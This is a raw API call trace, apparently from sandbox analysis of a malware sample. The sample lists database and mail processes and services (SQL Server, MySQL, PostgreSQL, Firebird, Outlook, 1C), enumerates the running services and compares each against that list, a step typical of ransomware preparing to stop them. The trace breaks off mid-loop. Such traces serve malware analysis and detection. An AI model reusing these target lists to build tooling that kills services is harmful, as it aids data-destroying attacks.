Flags=0x0, Ptr=0x6adf80, Size=0x8) returned 0x6adfb0 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x686348 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adfb0, Size=0x10) returned 0x6b31b8 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x6861a8 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1a) returned 0x6ad908 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b31b8, Size=0x20) returned 0x6ada70 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x6ada98 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16) returned 0x686168 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1a) returned 0x6ada48 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x6b3050 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x6adeb0 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x687820 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adeb0, Size=0x8) returned 0x6adf10 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x3c) returned 0x6874c0 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adf10, Size=0x10) returned 0x6b2f78 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x686448 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x686108 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b2f78, Size=0x20) returned 0x6adac0 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x24) returned 0x685748 [0216.736] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0216.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687d30 | out: hHeap=0x670000) returned 1 [0216.736] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0216.736] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x688268 | out: hHeap=0x670000) returned 1 [0216.737] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad9a8 [0216.749] EnumServicesStatusExW (in: hSCManager=0x6ad9a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0216.751] GetLastError () returned 0xea [0216.751] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ae2) returned 0x6b4ff0 [0216.752] EnumServicesStatusExW (in: hSCManager=0x6ad9a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b4ff0, cbBufSize=0x1ae2, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b4ff0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0216.753] CloseServiceHandle (hSCObject=0x6ad9a8) returned 1 [0216.754] lstrlenW (lpString="AppXSvc") returned 7 [0216.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0216.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0216.758] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0216.758] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0216.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0216.758] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0216.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0216.759] lstrlenW (lpString="Audiosrv") returned 8 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0216.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0216.759] lstrlenW (lpString="BFE") returned 3 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0216.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0216.759] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0216.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0216.759] lstrlenW (lpString="CDPSvc") returned 6 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0216.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0216.759] lstrlenW (lpString="ClickToRunSvc") returned 13 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0216.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0216.759] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0216.759] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0216.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0216.759] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0216.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0216.760] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0216.760] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0216.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0216.760] lstrlenW (lpString="CryptSvc") returned 8 [0216.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0216.760] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0216.760] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0216.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0216.760] lstrlenW (lpString="DcomLaunch") returned 10 [0216.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0216.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0216.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0216.760] lstrlenW (lpString="DeviceAssociationService") returned 24 [0216.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0216.760] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0216.760] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0216.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0216.760] lstrlenW (lpString="Dhcp") returned 4 [0216.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0216.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0216.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0216.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0216.760] lstrlenW (lpString="Dnscache") returned 8 [0216.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0216.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0216.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0216.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0216.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0216.761] lstrlenW (lpString="DPS") returned 3 [0216.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0216.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0216.761] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0216.761] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0216.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0216.761] lstrlenW (lpString="DusmSvc") returned 7 [0216.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0216.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0216.761] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0216.761] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0216.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0216.761] lstrlenW (lpString="EventLog") returned 8 [0216.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0216.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0216.761] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0216.761] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0216.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0216.761] lstrlenW (lpString="EventSystem") returned 11 [0216.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0216.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0216.761] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0216.761] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0216.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0216.761] lstrlenW (lpString="FontCache") returned 9 [0216.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0216.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0216.761] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0216.761] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0216.762] lstrlenW (lpString="gpsvc") returned 5 [0216.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0216.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0216.762] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0216.762] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0216.762] lstrlenW (lpString="iphlpsvc") returned 8 [0216.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0216.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0216.762] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0216.762] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0216.762] lstrlenW (lpString="KeyIso") returned 6 [0216.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0216.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0216.762] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0216.762] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0216.762] lstrlenW (lpString="LanmanServer") returned 12 [0216.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0216.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0216.762] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0216.762] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0216.762] lstrlenW (lpString="LanmanWorkstation") returned 17 [0216.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0216.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0216.762] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0216.762] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0216.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0216.762] lstrlenW (lpString="lfsvc") returned 5 [0216.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0216.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0216.763] lstrlenW (lpString="lmhosts") returned 7 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0216.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0216.763] lstrlenW (lpString="LSM") returned 3 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0216.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0216.763] lstrlenW (lpString="MpsSvc") returned 6 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0216.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0216.763] lstrlenW (lpString="NcbService") returned 10 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0216.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0216.763] lstrlenW (lpString="netprofm") returned 8 [0216.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0216.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0216.763] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0216.763] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0216.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0216.764] lstrlenW (lpString="NgcSvc") returned 6 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0216.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0216.764] lstrlenW (lpString="NlaSvc") returned 6 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0216.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0216.764] lstrlenW (lpString="nsi") returned 3 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0216.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0216.764] lstrlenW (lpString="PcaSvc") returned 6 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0216.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0216.764] lstrlenW (lpString="PlugPlay") returned 8 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0216.764] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0216.764] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0216.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0216.764] lstrlenW (lpString="Power") returned 5 [0216.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0216.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0216.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0216.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0216.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0216.765] lstrlenW (lpString="ProfSvc") returned 7 [0216.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0216.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0216.765] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0216.765] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0216.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0216.765] lstrlenW (lpString="RpcEptMapper") returned 12 [0216.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.765] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0216.765] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0216.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0216.765] lstrlenW (lpString="RpcSs") returned 5 [0216.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0216.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0216.765] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0216.765] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0216.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0216.765] lstrlenW (lpString="SamSs") returned 5 [0216.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0216.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0216.765] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0216.765] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0216.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0216.765] lstrlenW (lpString="Schedule") returned 8 [0216.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0216.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0216.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0216.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0216.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0216.766] lstrlenW (lpString="SecurityHealthService") returned 21 [0216.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0216.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0216.766] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0216.766] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0216.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0216.766] lstrlenW (lpString="SENS") returned 4 [0216.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0216.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0216.766] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0216.766] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0216.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0216.766] lstrlenW (lpString="ShellHWDetection") returned 16 [0216.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.766] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0216.766] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0216.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0216.766] lstrlenW (lpString="Spooler") returned 7 [0216.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0216.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0216.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0216.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0216.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0216.766] lstrlenW (lpString="StateRepository") returned 15 [0216.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0216.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0216.766] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0216.766] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0216.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0216.766] lstrlenW (lpString="SysMain") returned 7 [0216.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0216.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0216.767] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0216.767] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0216.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0216.767] lstrlenW (lpString="SystemEventsBroker") returned 18 [0216.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0216.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0216.767] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0216.767] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0216.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0216.767] lstrlenW (lpString="Themes") returned 6 [0216.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0216.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0216.767] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0216.767] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0216.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0216.767] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0216.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0216.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 